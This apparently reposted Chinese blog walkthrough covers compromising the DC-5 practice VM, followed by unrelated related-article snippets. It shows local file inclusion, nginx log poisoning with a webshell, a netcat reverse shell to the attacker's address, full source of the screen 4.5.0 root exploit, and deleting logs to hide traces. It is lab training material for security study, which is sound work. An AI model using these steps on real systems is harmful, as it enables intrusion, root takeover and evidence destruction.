DC-5渗透测试教程详解

news2024/9/22 21:20:00

DC-5渗透测试教程详解

测试机和靶机准备

有需要自取,注意调整DC-5的与kali在同一个为NAT模式下

  • [测试机kali]
    在这里插入图片描述

  • [靶机DC-5]

  • 在这里插入图片描述

信息收集

kali的IP地址为 192.168.10.140
- kali
在这里插入图片描述 - dc-5在这里插入图片描述

使用nmap进行扫描

在这里插入图片描述

  • 打开浏览器登录 192.168.10.134进行访问,确定其是否为目标主机
  • 在这里插入图片描述

漏洞分析

寻找漏洞

在这里插入图片描述

  • 在contact界面提交信息后,发现底部的时间显示会变动,
  • 所以猜测可能存在漏洞。底部的年份显示独立存在的数据,
  • 可能存在于某个文件中,传递给了thankyou.php。
验证猜想,使用御剑对其扫描
  • 发现有可以文件 footer.php
    在这里插入图片描述

  • 对其进行访问,kali火狐,输入链接:192.168.10.136/footer.php,该文件内容恰好】是底部的年份信息

  • 在这里插入图片描述

猜想是否行访问,kali火狐,输入链接:192.168.10.136/footer.php,该文件内容恰好是底部的年份
有可能是通过链接传入的!

验证猜想,构造连接
  • 验证想法,构造链接,访问对比,192.168.10.136/thankyou.php?file=footer.php

在这里插入图片描述

  • 192.168.10.139/thankyou.php?file=
    在这里插入图片描述

  • 如果参数值换成/etc/passwd,那么在底部就会显示DC5的用户信息
    在这里插入图片描述

  • 如果参数值换成nginx日志文件的目录/var/log/nginx/error.log,那么在底部就会显示nginx的日志文件信息。
    在这里插入图片描述

渗透测试

文件包含漏洞:通过日志挂马的方式,想办法将一句话木马写入到靶机的日志文件中

在这里插入图片描述

上传分析

在这里插入图片描述

使用Burp suite抓包,上传

在这里插入图片描述

在这里插入图片描述

  • 验证 http://192.168.10.134/thankyou.php?file=/var/log/nginx/error.log ,查看日志是否上传成功
    在这里插入图片描述
使用蚁剑连接

在这里插入图片描述

  • 测试连接
    在这里插入图片描述
    在这里插入图片描述
  • 输入命令 ——发现没有权限
    在这里插入图片描述
建立反向连接
  • kali建立反向连接
  • 在kali上开启监听,终端输入命令nc –lvvp 1234
  • 蚁剑中执行命令 nc -e /bin/bash 192.168.10.140 1234 。
  • 在蚁剑中执行的命令不要复制,要手动输入。 192.168.10.140是kali的地址。
    在这里插入图片描述

后渗透测试

查看提权文件
  • 在kali上输入python -c ‘import pty;pty.spawn(“/bin/bash”)’
    在这里插入图片描述

  • 找到具有SUID的文件,文件,用来提权。find / -perm -u=s -type f 2>/dev/null
    在这里插入图片描述

查找EXP, 重新打开一个终端,在kali中通过命令searchsploit查看screen-4.5.0的漏洞。

在这里插入图片描述

创建脚本

在这里插入图片描述

  • 复制的脚本没办法直接执行,所以需要将其拆分为多个文件处理。

  • 在kali的root文件夹下新建文件,命名为libhax.c。

  • 将41154.sh脚本中的第一部分内容复制到libhax.c文件 。
    在这里插入图片描述

  • 将脚本中选中内容复制到libhax.c文件中。
    在这里插入图片描述

  • 在libhax.c文件中添加所选中的语句
    在这里插入图片描述

  • libhax.c的内容:(第一个文件内容)

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
  • 将libhax.c文件ctrl s保存,然后打开终端窗口,在终端窗口里执行命令
  • 用来生成动态库文件libhax.so
gcc -fPIC -shared -ldl -o libhax.so libhax.c
  • 在kali的root文件夹下新建文件命名为rootshell.c,用来处理脚本中的第二部分内容
  • 将41154.sh脚本中的选中部分,复制到rootshell.c文件中
    在这里插入图片描述
  • 在rootshell.c文件中,第二行添加语句#include<unistd.h>,在文件的倒数第二行,删掉一个多余的NULL .
  • rootshell.c的文件内容:(第二个文件内容)
#include <stdio.h>
#include <unistd.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh",NULL);
}
  • 保存并退出rootshell.c文件,在kali的终端窗口中,输入命令gcc rootshell.c –o rootshell,用来生成一个可以执行的二进制文件.
gcc -o rootshell rootshell.c
  • 将41154.sh脚本中的最后一部分内容,复制到dc5.sh文件中
  • dc5.sh文件内容:(最后一个文件内容):
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
  • 在终端窗口中,按esc,再按shift + : ,窗口底部应该出现冒号,输入set ff=unix,回车
    在这里插入图片描述
  • 在kali中复制刚刚制作好的三个文件,到Windows中的任意位置。
使用蚁剑上传文件提权
  • 打开蚁剑,找到/tmp目录,右键上传文件

  • 在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 给dc5.sh文件添加可执行权限

chmod +x dc5.sh
  • 执行脚本 ./dc5.sh
    在这里插入图片描述

在这里插入图片描述

拿到flag

在这里插入图片描述

清理痕迹
  • 删除上传的三个提权文件
  • 删除/var/log/nginx/error.log的日志文件

渗透测试报告

  • 使用报告文档交流在渗透测试过程踪做了哪些,如何做,以及最为重要的—客户如何修复你发现的安全漏洞与弱点。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/357291.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端基础面试题:如何判断对象是否具有某属性?遍历数组的方法有哪些?

一、如何判断对象具有某属性&#xff1f; 如&#xff1a;let obj{name:zhangsan,age:21} 有以下方法 ( property 为属性名的变量&#xff0c;实际上是key&#xff0c;键名)&#xff1a; 1. property in obj 效果如图&#xff1a; in 运算符 2. Reflect.has(obj, property)…

【Redis】Redis 发布订阅通信模式 ( 发布订阅模式 | 订阅频道 | 发布消息 | 接收消息 )

文章目录一、发布订阅模式二、订阅频道三、发布消息四、接收消息一、发布订阅模式 Redis 中 存在一种 发布订阅 消息通信模式 : 消息发布者 : 负责发送消息 , 订阅者需要订阅该发布者频道 ;消息订阅者 : 负责接收消息 ; 订阅者 先 订阅 发布者频道 , 当 发布者 发布消息时 , …

SpringBoot+ActiveMQ-发布订阅模式(生产端)

SpringBootActiveMQ-发布订阅模式&#xff08;生产端&#xff09;Topic 主题* 消息消费者&#xff08;订阅方式&#xff09;消费该消息* 消费生产者将发布到topic中&#xff0c;同时有多个消息消费者&#xff08;订阅&#xff09;消费该消息* 这种方式和点对点方式不同&#xf…

NETCore下CI/CD之自动化测试 (详解篇)

NETCore下CI/CD之自动化测试 &#xff08;详解篇&#xff09; 目录&#xff1a;导读 前言 安装JDK 安装 Tomcat 首先&#xff0c;我们需要指定 Tomcat.PID 进程文件&#xff0c;进入 /usr/local/tomcat/bin&#xff0c;编辑文件 增加 tomcat 账户并赋予权限 防止Jeknins…

JSP脚本指令及标记学习笔记

好久没更新文章了&#xff0c;上次更新的文章还是一个学习笔记。本篇博文介绍的是JSP基本概念 1.JSP开发方法 一个jsp网页只需要加上<%%>就行了。 2.JSP运行机制 3.JSP脚本元素 3.1 JSP脚本代码 <% 脚本代码 %>实例 <% SimpleDateFormat df new SimpleDa…

MathType公式编辑器过期(禁止联网)的解决方案

MathType公式编辑器过期&#xff08;禁止联网&#xff09;的解决方案 Mathtype公式编辑器无法使用解决方案 MathType联网后显示证书失效&#xff0c;需要重新认证或者购买。或者是MathType成了精简版&#xff0c;只剩两行了。 1. 打开控制面板 方法1 首先大家在电脑中打开W…

解析从Linux零拷贝深入了解Linux-I/O(下)

接上文解析从Linux零拷贝深入了解Linux-I/O&#xff08;上&#xff09; 大文件传输场景 零拷贝还是最优选吗 在大文件传输的场景下&#xff0c;零拷贝技术并不是最优选择&#xff1b;因为在零拷贝的任何一种实现中&#xff0c;都会有「DMA 将数据从磁盘拷贝到内核缓存区——P…

加油站会员管理小程序实战开发教程11

我们已经用了10篇的篇幅讲解了首页的功能,首页主要是用来展示信息的。那么接下来就要进入我们的功能页面了,会员管理一个比较重要的功能是充值的功能。 要想实现充值功能,首先需要办一张会员卡,那什么时候办理会员卡呢?需要先注册成为会员,然后进行开卡的动作。这里要注…

c/c++开发,无可避免的模板编程实践(篇五)

一、关联容器简述 容器containers是用来管理某对象数据的集合&#xff0c;每种容器都有其优缺点&#xff0c;为了应对不同应用需求&#xff0c;标准库准备了不同的容器类型&#xff0c;容器可以是数组、链表或者是每个元素有一个特别的键值&#xff08;KEY&#xff09;组织起来…

gocd部署应用

产品需要在多个环境部署测试&#xff0c;为了提高部署测试效率&#xff0c;故计划使用CD工具&#xff0c;jenkins确实足够强大&#xff0c;但是使用部署功能是需要安装插件的&#xff0c;再说自己本身只用部署功能&#xff0c;故决定找一个小巧的CD工具&#xff0c;经过一番查找…

CUDA线程块的分配

为了确保能够真正地了解线程块的分配&#xff0c;接下来我们写一个简短的内核程序来输出线程块、线程、线程束和线程全局标号到屏幕上。现在&#xff0c;除非你使用的是 3.2 版本以上的 SDK否则内核中是不支持 printf的。因此&#xff0c;我们可以将数据传送回 CPU 端然后输出到…

微内核和零拷贝

文章目录1.操作系统的特性并发共享虚拟异步2. 微内核(1) 支撑功能中断管理时钟管理原语操作(2)资源管理功能进程管理存储器管理设备管理3.零拷贝什么是零拷贝传统拷贝方式零拷贝方式GatherCopy零拷贝mmap零拷贝1.操作系统的特性 并发 并发&#xff1a;在宏观上&#xff0c;多个…

TryHackMe-Wreath [网络杀伤链](windows网络)渗透测试

Wreath 复习了几天&#xff0c;把自己写的辣鸡wp都看了看&#xff0c;ad也复了复&#xff0c;顺便还将之前一些不懂和遗漏的一些问题都解决了&#xff0c;所谓温故而知新 在继续红队路径之前&#xff0c;先来玩一玩期待已久的Wreath 了解如何通过破坏面向公众的 Web 计算机并…

分布式缓存的问题

1,Redis缓存穿透问题 Redis缓存穿透问题是指查询一个一定不存在的数据&#xff0c;由于这样的数据缓存一定不命中&#xff0c;所以这样的请求一定会打到数据库上。但是由于数据库里面也没有这样数据&#xff0c;且也没有将这样的null值缓存到数据库&#xff0c;从而造成这样的…

软件设计(十三)-原码、反码、补码、移码

软件设计&#xff08;十二&#xff09;数据结构(下)https://blog.csdn.net/ke1ying/article/details/129035300 下面把一个数转成二进制表达形式 原码&#xff1a; 数值1 &#xff1a; 0000 0001 数值-1 &#xff1a; 1000 0001 1 (- 1) &#xff1a; 1000 0010 这是8个…

【安卓逆向】APK修改与反编译回编译

【安卓逆向】反编译修改APK回编译使用工具流程步骤Apktool相关安装与使用常用命令备查APK签名命令备查实战练习反编译查看修改的地方使用Apktool反编译得到产物文件夹并进行修改回编APK实用场景在日常开发我们可能需要替换某些资源或者修改某些代码&#xff0c;但是我们没有源码…

Java基础语法练习题

2023.2.18刷题1、java的4类流程控制语句解析&#xff1a;java的4类流程控制语句循环语句&#xff1a;while&#xff0c;for&#xff0c;do while选择语句&#xff08;分支语句&#xff09;&#xff1a;if,switch跳转语句&#xff1a;break,continue,break,label异常处理语句&am…

Markdown及其语法详细介绍(全面)

文章目录一、基本语法1.标题2.段落和换行3.强调4.列表5.链接6.图片7.引用8.代码9.分割线10表格二、扩展语法1.标题锚点标题 {#anchor}2.脚注3.自动链接4.任务列表5.删除线6.表情符号7.数学公式三、Markdown 应用1.文档编辑2.博客写作3.代码笔记四、常见的工具和平台支持 Markdo…

加油站会员管理小程序实战开发教程12

我们上一篇介绍了会员数据源的开发,本节我们介绍一下会员注册功能。 首先呢梳理一下会员注册的业务逻辑,如果用户是首次登录,那他肯定还没有给我们的小程序提交任何的信息。那么我们就在我的页面给他显示一个注册的按钮,如果他已经注册过了,那么就正常显示会员的信息,他…

spring cloud 集成 seata 分布式事务

spring cloud 集成 seata 分布式事务 基于 seata-server 1.6.x 序言 下载 seata-server 准备一个数据库 seata 专门为 seata-server 做存储&#xff0c;如, 可以指定 branch_tabledistributed_lockglobal_tablelock_table 准备一个业务库&#xff0c;比如存放定单&#xff…